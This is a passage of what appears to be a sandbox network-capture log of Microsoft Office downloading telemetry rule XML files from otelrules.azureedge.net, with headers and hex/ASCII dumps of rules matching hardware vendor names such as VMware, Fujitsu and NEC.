2024-10-17 16:18:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 2ef95996-601e-0070-2cd8-1ea0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161820Z-15b8d89586fvk4kme36hucfwyc00000002s000000000pd2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:21 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:21 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: fe1afdc6-601e-00ab-1fd8-1e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161821Z-16b659b4499pnh69zuen6a54mc000000099g00000000sfmt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:21 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:21 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: ad3e2dfb-901e-0064-71d8-1ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161821Z-15b8d89586fqj7k5uht6e8nnew00000003rg000000001c4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:21 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:21 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: d146d0d8-101e-008e-017c-1fcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161821Z-r197bdfb6b4k6h5j1g5mvtmsmn00000001t000000000h2cm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:21 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:21 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:21 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 7ef348a1-e01e-0051-48d8-1e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161821Z-16b659b4499k2xzwvf7uk78sfs0000000as000000000mfgv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:21 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:21 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:21 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 72fae4a7-c01e-000b-6fd8-1ee255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161821Z-r197bdfb6b4rt57kw3q0f43mqg00000001mg00000000de1r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:21 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:22 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 93d9d0c2-201e-0085-2492-1f34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161822Z-15b8d89586f8l5967udr7u2zg400000002cg000000004p74 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:22 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 76f1907b-601e-0084-2f63-1f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161822Z-15b8d89586fqj7k5uht6e8nnew00000003pg0000000073sk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:22 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:22 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: ff358c34-401e-0064-2ed8-1e54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161822Z-15b8d89586fcvr6pym2snavm4w0000000400000000000tx4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:22 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:22 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: b1f13374-201e-0085-05d8-1e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161822Z-15b8d89586ff5l62quxsfe8ugg00000003k000000000r0xe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:22 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:23 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:22 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 96577f27-301e-0099-1ad8-1e6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161822Z-16b659b4499gh2srh1fh903xkw00000009vg00000000uaz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:23 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:23 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:23 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: a14da665-f01e-003f-4ed8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161823Z-16b659b4499t9g2t855zkdgzd00000000acg00000000hpty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:23 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
